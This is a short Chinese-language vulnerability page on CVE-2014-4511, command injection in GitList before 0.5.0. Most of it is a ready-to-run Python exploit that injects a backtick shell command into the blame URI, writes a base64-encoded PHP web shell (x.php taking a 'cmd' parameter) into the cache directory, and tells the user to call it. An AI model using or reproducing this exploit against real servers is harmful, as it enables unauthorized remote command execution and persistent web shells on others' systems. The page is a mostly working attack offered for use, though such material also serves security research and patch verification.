CVE-2014-4511

GitList 是一款基于 PHP 的开源 Git 仓库查看器。

0.5.0 版本以前,攻击者可通过向 blame、file、stats 页面的请求 URI 的文件名参数中插入 shell 元字符,从而实现执行任意命令。

漏洞利用

相比 Gitlist 0.4.0 - Remote Code Execution 提供的 python 脚本,以下 python 脚本 略有所改动,payload 使用 <?php system($_GET['cmd']);?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from commands import getoutput
import urllib
import sys

"""
Exploit Title: Gitlist <= 0.4.0 anonymous RCE
Date: 06/20/2014
Author: drone (@dronesec)
Vendor Homepage: http://gitlist.org/
Software link: https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz
Version: <= 0.4.0
Fixed in: 0.5.0
Tested on: Debian 7
More information: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/
cve: CVE-2014-4511
"""

if len(sys.argv) <= 1:
print '%s: [url to git repo] {cache path}' % sys.argv[0]
print ' Example: python %s http://localhost/gitlist/my_repo.git' % sys.argv[0]
print ' Example: python %s http://localhost/gitlist/my_repo.git /var/www/git/cache' % sys.argv[0]
sys.exit(1)

url = sys.argv[1]
url = url if url[-1] != '/' else url[:-1]

path = "/var/www/gitlist/cache"
if len(sys.argv) > 2:
path = sys.argv[2]

print '[!] Using cache location %s' % path

# payload <?php system($_GET['cmd']);?>
# https://www.base64encode.org/
payload = "PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4="

# sploit; python requests does not like this URL, hence wget is used
mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
mpath = url+ urllib.quote(mpath)

out = getoutput("wget %s" % mpath)
if '500' in out:
print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
else:
print '[-] Failed to drop'
print out

执行任意命令

参阅